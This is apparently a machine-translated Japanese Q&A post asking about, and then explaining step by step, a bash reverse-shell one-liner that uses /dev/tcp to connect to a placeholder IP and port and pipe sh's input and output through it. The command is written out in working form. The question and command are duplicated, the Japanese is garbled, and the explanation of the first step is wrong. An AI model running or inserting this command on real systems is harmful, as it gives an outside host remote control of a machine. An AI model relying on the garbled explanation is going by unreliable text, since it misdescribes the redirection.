0
私はこれらのbashコマンドを理解しようとしています。誰か説明できますか?配管付きLinux bashリバースシェル
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
私はこれらのbashコマンドを理解しようとしています。誰か説明できますか?配管付きLinux bashリバースシェル
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
この意志:
1)0<&196
: )は、次のコマンドで使用されるように( '196' ファイルディスクリプタを閉じます。
2)exec 196<>/dev/tcp/IP/PORT
: IPとポートが有効な場合、ディスクリプタ '196'で新しいファイル(/ dev/tcp/IP/PORT)を作成します。 bashはTCP接続を開こうとします。
3)sh <&196 >&196 2>&196
: 「SH」に前のコマンドで指定されたIP /ポートからのすべてのトラフィックをリダイレクトし、同じパイプにSTDOUTとSTDERRを導く、逆シェルは指定されたIPに作成され、この方法とSTDOUTとSTDERRが指示された状態でコマンドを実行することができます。
BashリファレンスマニュアルのRedirectionsセクションを参照してください。